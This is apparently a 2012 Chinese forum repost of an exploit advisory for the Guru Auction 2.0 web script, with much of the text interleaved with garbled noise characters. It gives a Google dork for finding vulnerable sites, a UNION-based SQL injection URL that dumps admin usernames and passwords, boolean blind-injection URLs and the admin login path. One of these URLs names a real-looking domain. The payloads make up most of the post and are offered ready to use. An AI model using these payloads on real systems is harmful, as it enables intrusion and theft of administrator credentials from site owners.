Guru Auction 2.0 Multiple SQL Injection Vulnerabilities7 ?6 m# `2 }, k; X/ n% y
. R- _' q% n& M q作者 : v3n0m: E/ T$ L b. V4 T+ ]
应用 : Guru Auction 2.0
/ }- f" x' q0 u0 h W' Z: v5 {Price : $49# e- L6 {- N) V7 Y( M; M
Vendor : http://www.guruscript.com/% s$ Z0 ~( C! G t9 B
Google Dork : inurl:subcat.php?cate_id=/ T$ ~+ X" u2 C. w( c
+ Q4 g( n) o+ z. t0 RSQLi p0c:7 ]- `3 i; @1 U# J4 C& q$ _
~~~~~~~~~~8 Z+ ~" V. P5 K a& k6 F
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
; u3 D1 T. a5 \7 u) O: O& v* c ( X- e3 A8 ^# u6 ]" _
- I+ c1 l5 M" p+ \$ J1 m
盲注 p0c:
8 r) W$ K( q0 F~~~~~~~~~~2 S+ B% z* o/ R4 a$ J
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true2 K' r1 G' K; H, F% k
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false& z5 N$ }$ d* H2 C5 b
% T; k9 v+ u8 g6 _/ T5 l5 r, V
管理登录入口:1 R2 a2 p/ g2 @3 ~; e
~~~~~~~~~~) G- z( d$ Z- |
http://domain.tld/[path]/admin/5 c! h1 _$ i. y7 w9 g
|
发表于 2012-12-31 09:24:05
收藏
支持
反对